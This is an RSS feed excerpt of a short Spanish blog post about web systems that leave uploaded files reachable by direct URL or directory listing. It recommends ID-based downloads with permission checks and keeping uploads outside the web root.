		<guid isPermaLink="false">http://blog.zerial.org/?p=2483</guid>
		<description><![CDATA[Una forma de hacer un bypass a los sistemas de autenticación es poder acceder a archivos &#8220;sensibles&#8221; que sólo un usuario con autorización debería poder ver. Existen muchos sitios que tienen panel de administración pero no protegen los directorios donde se encuentran los archivos, por ejemplo, imaginemos que el usuario &#8220;admin&#8221; subió un archivo con [...]]]></description>
			<content:encoded><![CDATA[<p>Una forma de hacer un bypass a los sistemas de autenticación es poder acceder a archivos &#8220;sensibles&#8221; que sólo un usuario con autorización debería poder ver. Existen muchos sitios que tienen panel de administración pero no protegen los directorios donde se encuentran los archivos, por ejemplo, imaginemos que el usuario &#8220;admin&#8221; subió un archivo con datos de acceso a un servidor y en el sistema configuró que sólo algunos usuarios puedan verlo, sin embargo, cualquier persona que se sepa la URL puede acceder a el &#8230; Aunque suene bastante simple e incluso estúpido, es lamentable que existan sistemas o sitios web que lo permiten.</p>
<p>Por lo general, esto sucede cuando no existe una capa intermedia entre el archivo y el sistema, sino que se linkea directamente. Algo que debería ser <strong>http://www.dominio.cl/sistema/index.php/descargar/949394</strong> es <strong>http://www.dominio.cl/sistema/admin/archivos/usuarios_y_passwords.docx</strong>, y en el peor de los casos hasta se puede eliminar el nombre del archivo y listar el contenido del directorio &#8220;archivos&#8221; <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Los sistemas web deberían manejar internamente un &#8220;id&#8221; o nombre ficticio del archivo, <em>hasheado</em> y <em>mapeado</em> al momento de subirlo, para no permitir que cualquier usuario pueda acceder. Por ejemplo, si tenemos la URL de prueba dada anteriormente, 949394 correspondería al ID del archivo, el sistema debería -internamente- hacer una consulta a la base de datos y ver a que archivo corresponde ese ID, luego ver quienes tienen permisos para acceder a ese archivo y, luego de verificar la sesión y permisos, permitir la descarga del archivo.<br />
Para evitar la descarga directa de los archivos, el directorio &#8220;uploads&#8221; debería estar fuera del directorio de la aplicación, por ejempo, si el directorio de la aplicación es /var/www/html/sistema1/, el directorio debería estar fuera de &#8220;sistema1&#8243;, sino, aunque hagas todas las validaciones posibles, de todas formas se podrá acceder directamente al archivo saltandose la validación de la aplicación.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

